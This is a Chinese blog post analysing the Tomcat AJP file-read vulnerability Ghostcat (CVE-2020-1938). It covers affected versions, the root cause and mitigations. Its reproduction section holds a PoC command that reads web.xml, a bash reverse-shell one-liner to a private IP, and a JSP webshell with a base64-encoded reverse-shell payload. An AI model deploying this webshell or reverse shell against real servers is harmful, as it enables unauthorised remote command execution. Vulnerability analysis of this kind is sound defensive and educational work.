当前位置:首页 > 技术 > 正文内容

Apache Tomcat AJP 文件读取漏洞(CVE-2020-1938)深度解析

访客 技术 2026年7月18日 1

漏洞背景

Java 在 Web 开发领域占据主导地位,而 Apache Tomcat 作为历史悠久的 Java 应用服务器,在全球拥有庞大的用户基础。Ghostcat(幽灵猫)漏洞由长亭科技安全团队发现,其根源在于 Tomcat 的 AJP 协议实现存在安全缺陷。攻击者可借助 AJP Connector 读取或包含 Tomcat 中任意 Web 应用目录下的文件,包括配置文件与源码。若目标应用具备文件上传功能,结合此漏洞还可实现远程代码执行,威胁等级极高。

影响范围

Apache Tomcat = 6  
7 <= Apache Tomcat < 7.0.100  
8 <= Apache Tomcat < 8.5.51  
9 <= Apache Tomcat < 9.0.31  

漏洞成因

在 Tomcat 的默认配置文件 conf/server.xml 中,包含两个 Connector:一个监听 8080 端口处理 HTTP 请求,另一个监听 8009 端口处理 AJP 协议请求。两者默认均绑定到外网 IP,暴露了攻击面。

server.xml 配置文件
默认 server.xml 中的 Connector 配置
AJP Connector 配置
8009 端口的 AJP Connector 配置

处理 AJP 请求时,Tomcat 调用 org.apache.coyote.ajp.AjpProcessor 类的 prepareRequest 方法。该方法将 AJP 消息中的内容提取并设置为 request 对象的属性(Attribute)。攻击者通过控制以下三个属性,可影响文件读取路径:

  • javax.servlet.include.request_uri
  • javax.servlet.include.path_info
  • javax.servlet.include.servlet_path

利用这一机制,攻击者可读取 Web 应用目录下的任意文件。

漏洞复现

利用工具

参考项目:CNVD-2020-10487-Tomcat-Ajp-lfi

文件读取示例

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.112 -p 8009 -f /WEB-INF/web.xml
漏洞利用效果
成功读取 web.xml 文件

反弹 Shell 示例

首先,通过 Runtime Exec Payloads 生成 Bash 反弹命令的编码版本:bash -i >& /dev/tcp/192.168.25.1/63000 0>&1
利用文件上传与包含功能,将以下 JSP Webshell 部署到目标:

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjEvNjMwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("");
%>

修复与缓解措施

临时禁用 AJP 协议

conf/server.xml 中注释或删除以下行:

<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->

启用认证凭证

根据 Tomcat 版本不同,配置方式略有差异:

  • Tomcat 7 和 9:设置 secret 属性,如 secret="YOUR_SECURE_VALUE"
  • Tomcat 8:设置 requiredSecret 属性,如 requiredSecret="YOUR_SECURE_VALUE"

官方升级

下载包含补丁的最新版本:

其他防护选项

  • 将 AJP Connector 的监听地址限制为 localhost
  • 使用防火墙或 iptables 限制 8009 端口的外部访问。

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。